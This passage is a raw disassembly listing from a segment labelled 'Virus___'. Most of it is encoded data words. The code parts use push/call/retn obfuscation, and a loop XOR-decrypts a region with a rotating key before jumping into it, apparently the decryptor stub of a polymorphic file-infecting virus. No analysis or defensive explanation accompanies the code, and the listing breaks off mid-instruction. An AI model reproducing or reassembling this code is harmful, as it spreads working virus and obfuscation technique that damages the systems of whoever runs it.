84A456FDh, 4ADABA51h, 815A25C6h, 0A9832404h dd 50BA7B5Bh, 6A4A4C00h, 4D95FFFFh, 8B071B2Ah, 6E961DFh dd 1A000000h, 7E08D19Fh, 0AE89002h, 1F000000h, 15E92B35h dd 9160C899h, 4ABB66A2h, 0E9505B08h, 0Eh, 0F653AC1Dh, 9E3D6FB4h dd 0FDFD7BE8h, 6A90255Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0AD9DC351h, 710BA900h dd 958B50E6h, 71B08DDh, 0DCC38050h, 0A5858B5Ah, 0B7071B33h dd 0FC00BE2h, 5384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 2D996040h, 2DE59592h dd 0DB35126h, 1595FF5Ah, 6A071B30h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 133FC350h dd 0A8DF2CE2h, 354BBE4Ah, 171D85C7h, 1071Bh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 3A114AC3h, 83F8C9B3h, 1B15F1BDh, 840F0007h, 0Fh, 1C1DBD31h dd 95FF071Bh, 71B1F41h, 83D0B70Fh, 1B3421BDh, 840F0007h dd 32h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 9EC35646h, 7AF27F79h, 11D18D01h, 95FF071Bh, 71B1A75h dd 11499589h, 0BD83071Bh, 71B2F91h, 5C840F00h, 66000000h dd 0F087DB81h, 1F21BD83h, 0F00071Bh, 4A85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 95FF7680h, 71B2759h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0AAC35747h, 0FF9CDF80h, 0DED8818Ch, 83C3B334h dd 1B29CDBDh, 840F0007h dd 24h, 278D8589h, 8581071Bh, 71B2A61h, 4003h, 25B59D8Bh dd 19B6071Bh, 13118581h, 4003071Bh, 0D08A0000h, 0B589310Fh dd 71B3149h, 5EE08D8Dh, 0C780071Bh, 810189C4h, 3BB030F2h dd 2D95032Ah, 33071B33h, 53006AC2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 41892DE4h, 0FBBB6604h dd 6A310F9Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 5399C357h, 0F28D8D8Dh, 89071B5Eh dd 1B1AED8Dh, 33018907h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 10E9F1h, 99440000h, 64E988B9h dd 87C846BBh, 0A3A92866h, 4189101Ch, 870F6004h, 1, 0BD8361F5h dd 71B1BBDh, 11840F00h, 0BA000000h, 4F30CF35h, 0E0D95FFh dd 0EA81071Bh, 23C8C4D4h, 0DF9BD83h, 0F01071Bh, 4B85h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0FA7C00BAh, 0E5F68006h, 23E9h, 29958B00h dd 8B071B1Bh, 1B5FFEB5h, 6C707h, 8B000000h, 1B5E09B5h dd 6C707h, 0CF000000h, 0D9B6D98Bh, 171DBD83h, 0F00071Bh dd 0D084h, 1958B00h, 80071B33h, 0BD83E9D2h, 71B2981h, 0A1850F01h dd 0B000000h, 1B2B8D9Dh, 1F8D8B07h, 80071B4Fh, 1C6B3E7h dd 25958900h, 60071B0Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 4DC35646h, 8112B68Eh, 0E3BCE381h, 0C0686163h dd 6048C8DDh, 61FB8B66h, 40243481h, 8048C8DDh, 0FF6AF0C7h dd 6E38166h, 4D95FFC8h, 89071B2Ah, 1B146995h, 85896107h dd 71B172Dh, 1F4D95FFh, 850F071Bh, 2, 8D8BD6B7h, 71B4F1Fh dd 1FED98Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 2C35646h, 27B1BD83h, 0F01071Bh, 0C85h, 6870F00h dd 3000000h, 1B271995h, 29C08B07h, 1B11A58Dh, 0D1BD8307h dd 71B1Bh, 0BD830975h, 71B1FD5h, 501A7400h, 8BC08B53h dd 1B2A6185h, 61858907h, 8D071B2Ah, 1DABB89Dh, 5BD3FF07h dd 0D5BD8358h, 71B1Fh, 53501874h, 2A61858Bh, 8589071Bh dd 71B2A61h, 0A8A79D8Dh, 0D3FF071Dh, 6A585Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0AB23D4C3h dd 609F1B7Dh, 11BDBD33h, 61F8071Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 5C35040h, 0CFCB095Eh, 0BA51A197h dd 7DB87280h, 0FC08B5Bh, 0C8Bh, 68A0F00h, 0F000000h, 83h dd 1DBD8300h, 71B17h, 1D850Fh, 8A0F0000h, 2, 0D78AD78Bh dd 245DBD83h, 0F00071Bh, 684h, 7BF38100h, 8338FD41h, 1B171DBDh dd 840F0007h, 3Ch, 0AB1BD89h, 0BD83071Bh, 71B351Dh, 29840F00h dd 81000000h, 726CDFDBh, 0DE80Eh, 0BE350000h, 6C567D1Ch dd 28B11ADBh, 0E985CCCAh, 0Bh, 17005B99h, 30F0C91Bh, 5AB6F824h dd 171DBD83h, 0F00071Bh, 2984h, 0EA815000h, 1413A339h dd 1DBD835Bh, 71B35h, 14840Fh, 0FE90000h, 6A000000h, 15D6F77Bh dd 5F14ACF0h, 39C21AF2h, 0BD83DCB2h, 71B171Dh, 1F840F00h dd 89000000h, 1B31658Dh, 0F19D2907h, 83071B12h, 1B357DBDh dd 840F0007h, 6, 2709B589h, 0BD83071Bh, 71B171Dh, 52840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 83ABC352h, 1B302DBDh, 840F0007h dd 29h, 95FFD58Ah, 71B2D2Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 3C35242h, 60E13144h, 89C08B70h dd 1B2381BDh, 0D1BD8307h, 71B1Bh, 0BD830975h, 71B1FD5h dd 501A7400h, 8BC08B53h, 1B131185h, 11858907h, 8D071B13h dd 1DAC1F9Dh, 5BD3FF07h, 0D5BD8358h, 71B1Fh, 53501874h dd 1311858Bh, 8589071Bh, 71B1311h, 0A8C09D8Dh, 0D3FF071Dh dd 12BB585Bh, 60179DF6h, 0F9BD8B57h, 5F071B35h, 91858B56h dd 5E071B32h, 66C08B61h, 0BD83DF8Bh, 71B171Dh, 2E840F00h dd 80000004h, 83F9BDDBh, 1B325DBDh, 840F0207h, 17h, 91952B53h dd 5A071B2Eh, 0DF9BD83h, 0F01071Bh, 285h, 60D18B00h, 27A4F281h dd 8D8B7D1Bh, 71B4F1Fh, 0FE9h, 6820600h, 19D955Ah, 0A85FCA2Dh dd 17B4CCAh, 958B01FEh, 71B24DDh, 4E8h, 8000h, 0AE800h dd 78360000h, 1A2A5896h, 94A2100Ah, 5ADA8B66h, 0DF8B6650h dd 424448Bh, 8BDE8B66h, 0EE800h, 0C1200000h, 0B111A38Ch dd 0B9487115h, 9DEB8C09h, 28B0Fh, 0D68B0000h, 2444895Ah dd 0F525004h, 0BBA5BB31h, 585A6E30h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 9F77E13Eh dd 0FC7DD294h, 0AE902B0h, 18000000h, 0E7820138h, 0DB99C63Dh dd 60FF6AF1h, 9BF68157h, 5B43D7D8h, 14E8h, 82511B00h, 5696D17h dd 4F0898A3h, 196F503Ch, 52B355D0h, 10BA6644h, 0FF615EF4h dd 1B2A4D95h, 6188B607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 89C35545h, 0CE18D89h, 0BD8D071Bh, 71B1545h dd 8E8h, 0D0336900h, 0F38CF1AFh, 5A74B7D0h, 891C4F8Bh dd 1B1E8985h, 16AF507h, 50DFBF0Fh, 0C89D78Bh, 0E919B724h dd 9, 67F79287h, 883301ABh, 0A8858DD3h, 6A071E32h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F3FC355h, 9D8BD5F5h, 71B1901h, 9D8BD0FFh, 71B2D85h dd 0E9204F8Bh, 11h, 2A317FCEh, 0DEF90C29h, 2C5C17EBh, 0E3E85691h dd 0E9036AAAh, 8, 0A552FAF0h, 0C1A5Ch, 8996B750h, 6A240Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0DF98E0C3h, 510BC924h, 3155958Bh, 8B0F071Bh, 14h, 0EE8h dd 2AD2FB00h, 0ABFEE5CCh, 3F3AD4Eh, 5BDD566Ch, 32A8858Dh dd 3360071Eh, 1B24A1B5h, 6146B407h, 820FD0FFh, 2, 0BD8DDA8Bh dd 71B1545h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 2BC35141h, 0E73D4E3Bh, 42F381BEh, 8B551066h, 850F1C4Fh dd 6, 24FD9D03h, 16A071Bh, 0CE9h, 5D04D800h, 50C0C442h dd 0ACD735A3h, 525091CDh, 310F33B7h, 0DACA38BAh, 50585A4Fh dd 0FE9h, 9718400h, 92FBC934h, 5C930BC3h, 0FE62BA48h, 1149BB91h dd 858D3575h, 71E32A8h, 88C0Fh, 0F570000h, 86h, 0D0FF5A00h dd 18D18D89h, 4F8B071Bh, 51006A20h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0BAF7B751h, 29216CCAh dd 0F08A036Ah, 5078B391h, 18880Fh, 13E90000h, 0BA000000h dd 0F3327CF8h, 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 0BA91DD1Eh dd 4C7FC18Bh, 32A8858Dh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0EAA87FC3h, 5830F30h dd 66000000h, 0E5CBDB81h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 819096C3h, 1AD20BF4h dd 9D8BF722h dd 71B114Dh, 4F1F8D8Bh, 9D8B071Bh, 71B2765h, 850F01FEh dd 6, 27258501h, 858B071Bh, 71B4F1Fh, 14E8h, 685F300h dd 0FFBC4DBh, 0A11C2271h, 9818057Ch, 71C22267h, 3D9D291Fh dd 5B071B2Eh, 6A00FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0E9D643C3h, 8ED9D89h, 8B56071Bh dd 1B258595h, 16A5A07h, 216D9D8Bh, 0F568071Bh, 0FDFBAA3h dd 481h, 5A525100h, 2404815Bh, 2044FC0Ah, 858DDF8Bh, 71E32B2h dd 2A3D9D8Bh, 0D0FF071Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 28C35242h, 4204A732h, 898A9A25h, 1B1FA19Dh dd 5DBD8307h, 71B24h, 0BF840Fh, 9D8B0000h, 71B28C1h, 2105BD83h dd 0F01071Bh, 0AC85h, 519D8900h, 8D071B00h, 1E32BC8Dh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8BAC5083h, 1B0D259Dh, 6A036A07h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 94F5C355h, 21745830h, 959D8B9Ah, 89071B26h, 1B033195h dd 8B016A07h, 66D1FFD9h, 204DE381h, 5CBB016Ah, 6A14E59Ch dd 0FF81B301h, 8DB750D1h, 0E852B25Bh, 0F9406E44h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1EC35646h, 15D381B0h dd 81357AC1h, 0FEF615DBh, 8B206A47h, 1B2A9D9Dh, 6AFF6A07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 45CC350h, 0EE903DE1h, 0BDEB6C86h, 9240BB66h dd 2A4D95FFh, 840F071Bh, 4, 5ADF8B50h, 0B8h, 0B5BA6600h dd 858D896Fh, 0B071B25h, 53840FC0h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 93EAC350h, 0D6EA80F8h, 1EA9BD83h, 0F00071Bh, 2584h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0E995FF5Bh, 80071B28h, 858BC0EFh, 71B007Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 8BC35040h dd 0BD89564Ah, 71B162Dh, 0D9958B5Bh, 0E9071B18h, 6, 27DB03Dh dd 0C6C5BDh, 0A3E38000h, 0B5096058h, 71B0C11h, 5860Fh dd 90BE0000h, 6175EC0Bh, 0FE8h, 0BA2A7800h, 34D34B4Ch dd 46661D5Bh, 0B99D7D0Dh, 0D98C665Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 4AC35646h, 4138D80Bh, 22F680ABh dd 0F04C1F6h, 0A584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 83E9C324h, 29000000h dd 1B1BED9Dh, 0D5B58B07h, 6A071B23h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8A36C355h dd 88509F13h, 2C3D9D8Bh, 0C681071Bh, 1180h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h, 0C7E96070h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 167EB477h, 66C5F2C0h, 6A5ED18Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0D7B9C357h, 0ED2FB300h, 5958B62h, 8B071B16h dd 0F883D9h, 0B33840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 2C6962C3h, 37F50ACh dd 69950998h, 66071B16h, 0CFF2D281h, 22D59D89h, 0F883071Bh dd 10850F01h, 8B000001h, 1B26F595h, 0E0C38107h, 0B8476B50h dd 0 ; --------------------------------------------------------------------------- mov dx, di or eax, eax jz loc_541CFC push 0 push ecx call sub_541C5A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_541C5A proc near ; CODE XREF: Virus___:00541C52p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_541C5A endp ; --------------------------------------------------------------------------- dw 0A7BBh dd 19671577h, 0BEFBB66h, 83D88B66h, 840F01F8h, 0A1h, 2D5D958Bh dd 958B071Bh, 71B2485h, 0F03F883h, 4784h, 45952B00h, 2B071B35h dd 69958BC0h, 8D071B1Ah, 5B89E0BDh, 1DD28100h, 0FF65FD91h dd 53006AE7h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0AB5AD43Eh, 60E6DF4Ah, 71BD31F8h, 61071B32h dd 1B8h, 0ED852900h, 0BA071B16h, 84E5A26h, 89E0BD8Dh, 958B005Bh dd 71B0B89h, 0DF8BE7FFh ; --------------------------------------------------------------------------- loc_541CFC: ; CODE XREF: Virus___:00541C49j lea edi, [ebp+71B45ABh] sub [ebp+71B0115h], esi jmp loc_541F1C ; --------------------------------------------------------------------------- xor ebx, [ebp+71B2D1Dh] push eax jnp loc_541D20 mov [ebp+71B0BFDh], ecx loc_541D20: ; CODE XREF: Virus___:00541D14j pop ebx loc_541D21: ; CODE XREF: Virus___:00541D77j mov dword ptr [ebp+71B4F7Ah], 5 mov [ebp+71B1861h], edx mov eax, 5 sub [ebp+71B2349h], esi jmp loc_54265F ; --------------------------------------------------------------------------- mov bl, 0D4h cmp eax, 2 jnz loc_541E20 or edx, [ebp+71B0A95h] mov edx, [ebp+71B0665h] mov eax, 0 mov [ebp+71B2A25h], ebx or eax, eax jz loc_541DFB add [ebp+71B1C09h], edi movzx edx, ax cmp eax, 1 jz loc_541D21 push 0 push ecx call sub_541D88 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_541D88 proc near ; CODE XREF: Virus___:00541D80p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_541D88 endp ; --------------------------------------------------------------------------- dd 8BD2814Eh, 8309172Ch, 840F03F8h, 0FFFFFF34h, 5439CA81h dd 9D2374DBh, 71B1781h, 0B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0A9265FA8h dd 0E9F568E1h, 8, 0CA9F6D45h, 85BABDA9h, 89E0BD8Dh, 8057005Bh dd 0FF5BA8D7h, 2D950BE7h db 21h, 1Bh, 7 ; --------------------------------------------------------------------------- loc_541DFB: ; CODE XREF: Virus___:00541D65j lea edi, [ebp+71B47A3h] and ebx, [ebp+71B3499h] jb loc_541E15 jg loc_541E15 mov bl, 81h loc_541E15: ; CODE XREF: Virus___:00541E07j ; Virus___:00541E0Dj jmp loc_541F1C ; --------------------------------------------------------------------------- mov [ebp+71B1BA1h], esi loc_541E20: ; CODE XREF: Virus___:00541D46j cmp eax, 3 jnz loc_541E6B push 0 push edx call sub_541E34 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_541E34 proc near ; CODE XREF: Virus___:00541E2Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_541E34 endp ; --------------------------------------------------------------------------- push ecx cli xor [ebp+71B336Dh], ebx lea edi, [ebp+71B4937h] mov edx, [ebp+71B2B89h] jmp loc_541F1C ; --------------------------------------------------------------------------- pusha mov [ebp+71B2F09h], ecx mov [ebp+71B1805h], eax popa loc_541E6B: ; CODE XREF: Virus___:00541E23j cmp eax, 5 jnz loc_541EA1 jmp loc_541E7F ; --------------------------------------------------------------------------- sbb esi, [ebx-11252F28h] loc_541E7F: ; CODE XREF: Virus___:00541E74j pusha mov eax, [ebp+71B295Dh] mov bx, 168Eh popa jmp loc_54265F ; --------------------------------------------------------------------------- call near ptr loc_541E98+3 mov [esi], eax xlat loc_541E98: ; CODE XREF: Virus___:00541E90p mov dword ptr [ecx+ecx*4-80h], 0B65B68DEh pop ecx loc_541EA1: ; CODE XREF: Virus___:00541E6Ej cmp eax, 6 jnz loc_541ED7 mov ebx, esi lea edi, [ebp+71B4B2Fh] jnz loc_541ECD jmp loc_541ECD ; --------------------------------------------------------------------------- db 9Eh, 0FEh, 0AEh dd 0E7ADFA6Dh, 0A099BD6Eh, 7A4D62E3h db 0DEh ; --------------------------------------------------------------------------- loc_541ECD: ; CODE XREF: Virus___:00541EB2j ; Virus___:00541EB8j jmp loc_541F1C ; --------------------------------------------------------------------------- or bx, 0CE2Bh loc_541ED7: ; CODE XREF: Virus___:00541EA4j cmp eax, 7 jnz loc_541EF2 lea edi, [ebp+71B0685h] xor dl, 8 jmp loc_541FF9 ; --------------------------------------------------------------------------- mov dx, 3804h loc_541EF2: ; CODE XREF: Virus___:00541EDAj cmp eax, 0Ah jnz loc_541F1C clc lea edi, [ebp+71B4D27h] jmp loc_541F10 ; --------------------------------------------------------------------------- db 0F7h dd 26498819h, 0DE589A63h ; --------------------------------------------------------------------------- loc_541F10: ; CODE XREF: Virus___:00541F02j jmp loc_541F1C ; --------------------------------------------------------------------------- mov [ebp+71B1F19h], esi stc loc_541F1C: ; CODE XREF: Virus___:00541D08j ; Virus___:loc_541E15j ... push edi mov dh, 54h mov ecx, 4CA16A88h push 0 push esi call sub_541F2F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_541F2F proc near ; CODE XREF: Virus___:00541F27p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_541F2F endp ; --------------------------------------------------------------------------- db 10h dd 0E9F0661Fh, 6, 41678D49h, 3F83ADF8h, 9B840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0B2FFC350h, 0DE952h, 77320000h, 21F919B6h dd 8A5031E5h, 30330FEDh, 52006A0Fh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 70F916D9h, 0DE95Eh, 25180000h dd 41E1F78h, 0D0372B4Bh, 0D1176883h, 147F5C9h, 1B3515BDh dd 0FF84E907h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0C27607C3h, 0D38B6C7Dh, 0B899D8Bh dd 895F071Bh, 1B34F99Dh ; --------------------------------------------------------------------------- pop es loc_541FF9: ; CODE XREF: Virus___:00541EE9j mov [ebp+71B4F23h], edi mov ebx, 3A76926Ah lea ecx, [ebp+71B31E1h] push dword ptr [ebp+71B145Dh] push 0 push edi call sub_54201B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54201B proc near ; CODE XREF: Virus___:00542013p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_54201B endp ; --------------------------------------------------------------------------- fadd st(1), st mov al, 91h push edx lea eax, [ebp+71DA57Eh] push eax lea edi, [ebp+71B5662h] lea ecx, [ebp+71B6EE0h] mov eax, 54831ABCh sub ecx, edi loc_54204A: ; CODE XREF: Virus___:00542050j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_54204A lea esi, [ebp+71B6E88h] lea ecx, [ebp+71B6EF8h] sub ecx, edi rep movsb xor ecx, ecx mov eax, 0 or eax, eax jz short loc_5420B3 cmp dword ptr [ebp+71B1EA9h], 0 jz short loc_54207C call dword ptr [ebp+71B28E9h] loc_54207C: ; CODE XREF: Virus___:00542074j mov esi, [ebp+71B4F23h] lea eax, [ebp+71DA57Eh] call eax lea eax, [ebp+71B4380h] call eax mov dword ptr [ebp+71B1449h], 1 mov esp, [ebp+71B16A5h] mov esi, [ebp+71B30B1h] mov ebp, [ebp+71B2B5Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_5420B3: ; CODE XREF: Virus___:0054206Bj mov bl, 0C0h push ecx mov bx, 0F1ADh pop ebx cmp dword ptr [ebp+71B1B0Dh], 0 jz loc_5420D3 mov edx, esi call dword ptr [ebp+71B2B3Dh] mov dx, bx loc_5420D3: ; CODE XREF: Virus___:005420C2j cmp dword ptr [ebp+71B30B9h], 0 jnz loc_5422E3 pusha call sub_5420EE mov al, ds:3E312BBDh adc [esi-4Ah], eax ; =============== S U B R O U T I N E ======================================= sub_5420EE proc near ; CODE XREF: Virus___:005420E1p call near ptr loc_542100+3 jle short loc_5420F8 mov [eax], esi cmpsd loc_5420F8: ; CODE XREF: sub_5420EE+5j adc ch, al fbstp tbyte ptr [edi+esi*8] leave xor al, 9 loc_542100: ; CODE XREF: sub_5420EEp xor [ebx+esi*4+5E95B5Fh], ecx sub_5420EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 35040000h, 61571382h, 2105BD83h, 0F01071Bh, 1C685h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8BFC837Ch, 1B25799Dh, 0F9BD8307h, 71B03h dd 195840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F9485AC3h, 4F76BD83h, 0F00071Bh dd 16A84h, 51958B00h, 89071B28h, 1B0AB19Dh, 7E858D07h dd 6A071DA5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 46B4C351h, 67B0C733h, 799AEA8Ah dd 2E718501h, 0B58B071Bh, 71B4F23h, 0AB24EB81h, 81661165h dd 0FF6365D3h, 29958BD0h, 0BB071B03h, 6F5D4258h, 1C0585C6h dd 6854071Bh, 0E8C3673Ch, 58F0F53h, 0BB000000h, 58D37D63h dd 2434815Bh, 178DD9C8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A9C35040h, 0E8CE7F25h, 225DB5FFh, 6A071Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 6B39CDC3h, 767A3BAh, 11E8AB21h, 54000000h, 8BB24E16h dd 0A4349E31h, 0F0FA9E3Fh, 9E96369Bh, 8B5ADE8Bh, 1B2DF595h dd 0C858D07h, 89071B3Bh, 1B2C0595h, 31D0FF07h, 1B23D1BDh dd 89006A07h, 1B1FF5BDh, 6AFF6A07h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7FD3C357h dd 0E8BA35ACh, 9, 0D0CE97F6h, 0CE3EC430h, 0F800FF9h, 0E9000000h dd 0Ah, 0B9CFAD92h, 1D8C9BB6h, 0FF5B33A1h, 619D33D0h, 0FF071B33h dd 1B1455B5h, 35950907h, 8B071B04h, 1B03119Dh, 5D95FF07h dd 66071B14h db 0BBh, 0EDh, 71h ; --------------------------------------------------------------------------- loc_5422E3: ; CODE XREF: Virus___:005420DAj mov esi, [ebp+71B4F23h] mov ebx, 4EDDDEF2h retn ; --------------------------------------------------------------------------- push 0 push edi call sub_5422FA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5422FA proc near ; CODE XREF: Virus___:005422F2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5422FA endp ; --------------------------------------------------------------------------- push ebx setalc cmp esi, ebp lea ecx, [ebx+1B007DB5h] pop es push 0 push esi call sub_542320 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542320 proc near ; CODE XREF: Virus___:00542318p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_542320 endp ; --------------------------------------------------------------------------- dd 0A9934614h, 8509EFD4h, 71B24B9h, 840FF60Bh, 12h, 0E05BD89h dd 6C6071Bh, 0D1B70F00h, 2089CB81h, 858932DCh, 71B4F2Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7FC35747h dd 920A2C9Fh, 0F00F883h, 3A484h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 9863EC14h dd 2F499D8Bh, 958B071Bh, 71B1861h, 0D0D638BAh, 0B862h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 8F7A84C3h, 5F520437h, 0BD9503A0h, 0F071B2Eh dd 681h, 52C28100h, 8312A7C3h, 840F00F8h, 82h, 0B7D958Bh dd 0F883071Bh, 5E850F02h, 8A000000h, 0A6858DDAh, 0E8071B45h dd 13h, 93E90141h, 0ED73CD3Ah, 960B189Eh, 4644F259h, 31B7EE43h dd 1B2F118Dh, 292D5B07h, 0E9000009h, 12h, 91A0B7F4h, 0CD24E362h dd 0CA6D7E2Dh, 13E9819Fh, 8950C7E4h, 81662404h, 0C32FC3E3h dd 0CE9h, 406A7100h, 79193634h, 0AA9200F0h, 0B8DBh, 0FEBB0000h dd 0E97A2E7Eh, 2B5h, 271D9D33h, 1B8071Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0D032C350h, 0DA818634h, 6E6B47C0h, 45ABBD8Dh, 0C381071Bh dd 512BBE43h, 0E8E9h, 40E38100h, 8350409Ch, 850F02F8h dd 7Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h dd 5C35343h, 0E381B968h, 2E71E4EDh, 47A3BD8Dh, 6A071Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0B92A21C3h, 8AE905BBh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 586FC356h dd 0A92DA69Dh, 24B9958Bh, 958B071Bh, 71B0659h, 0F03F883h dd 1785h, 37BD8D00h, 8B071B49h, 1B19259Dh, 0E939B707h dd 41h, 0DB8DBB66h, 0F05F883h, 3485h, 0E9B58900h, 0E9071B17h dd 0EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0BC35646h, 0CEB65265h, 0B834B2C1h, 0B2D68B4Fh dd 9D8957CCh, 71B2FF9h, 0A16A88B9h, 56006A4Ch, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0F6804BABh dd 0CE86D4Bh, 80000000h, 6E05E202h, 0FCC26F33h, 810F156Fh dd 0D53418CBh, 3F835A48h, 74840F00h, 0B6000000h, 6A0F30B8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 9824C350h, 0B7C381D3h, 0D16F62B2h, 50006AC9h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0B1BE90ADh, 0E9D68B47h, 0FFFFFFA6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0FAC35545h, 1DD30243h db 6Eh, 0B6h, 0E8h ; --------------------------------------------------------------------------- loc_54265F: ; CODE XREF: Virus___:00541D3Cj ; Virus___:00541E8Bj cmp eax, 5 jnz loc_542729 push 0 push esi call sub_542673 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542673 proc near ; CODE XREF: Virus___:0054266Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_542673 endp ; --------------------------------------------------------------------------- db 0A3h dd 0AB210767h, 12E8h, 0FF46500h, 1147D850h, 45DFBF8Dh dd 